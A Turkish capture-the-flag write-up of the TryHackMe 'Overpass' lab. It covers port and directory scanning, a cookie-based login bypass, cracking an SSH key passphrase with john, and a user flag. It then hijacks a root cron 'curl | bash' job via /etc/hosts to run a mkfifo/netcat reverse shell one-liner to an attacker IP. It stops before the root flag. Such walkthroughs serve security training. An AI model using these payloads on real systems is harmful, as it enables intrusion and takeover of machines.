Overpass
What happens when a group of broke Computer Science students try to make a password manager? Obviously a perfect commercial success!
User Flag
nmap komutu:
1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.162.238
nmap sonucu:
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-02 19:47 UTC
Nmap scan report for 10.10.162.238 (10.10.162.238)
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22 SSH ve 80 HTTP servisleri çalışıyor.
Websitesini ziyaret edelim.
Gobuster ile dizin taraması yapıyorum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~]
└─# gobuster dir --wordlist=/usr/share/wordlists/dirb/big.txt --url http://10.10.162.238 -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.162.238
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/img (Status: 301) [Size: 0] [--> img/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
/admin dizininde login paneli var.
SQLi işe yaramıyor. /aboutus sayfasındaki isimlerle brute force denedim fakat o da işe yaramadı.
Sayfanın kaynak kodlarını inceledim ve login.js dosyasını buldum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Bu fonksiyonda, /api/login adresine bir post isteği gönderiliyor ve kimlik bilgileri doğruysa SessionToken adlı bir çerez oluşturuluyor.
SessionToken oluşturdum.
Saçma bir şekilde işe yaradı.
James sürekli şifresini unuttuğu için (aynı ben) SSH key oluşturulmuş.
Bir dosyaya kaydettim. ssh2john ile hash’ini alıp john ile şifreyi kırdım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop]
└─# ssh2john rsa > hash
┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (rsa)
1g 0:00:00:00 DONE (2024-05-02 20:05) 100.0g/s 1337Kp/s 1337Kc/s 1337KC/s pink25..honolulu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
SSH ile makineye girebiliriz.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i rsa james@10.10.162.238
Enter passphrase for key 'rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu May 2 20:06:39 UTC 2024
System load: 0.0 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 13% IP address for eth0: 10.10.162.238
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$
1
2
3
4
5
6
james@overpass-prod:~$ pwd
/home/james
james@overpass-prod:~$ ls
todo.txt user.txt
james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
Root Flag
Makinede linpeas çalıştırıyorum.
linpeas sonucunda bir cronjob dosyası olduğunu gördüm.
1
2
3
4
5
6
7
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
buildscript.sh her dakika root yetkisiyle çalışıyor.
Ayrıca etc/hosts dosyasına yazma yetkimiz var.
etc/hosts dosyasını değiştirerek makinenin bana bağlanmasını sağladım, /downloads/src/buildscript.sh dosyası oluşturdum ve içine reverse shell kodu yazdım.
1
2
3
mkdir downloads
mkdir downloads/src
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.1.150 1234 >/tmp/f" > downloads/src/buildscript.sh
1
python3 -m http.server 80
1
nc -nvlp 1234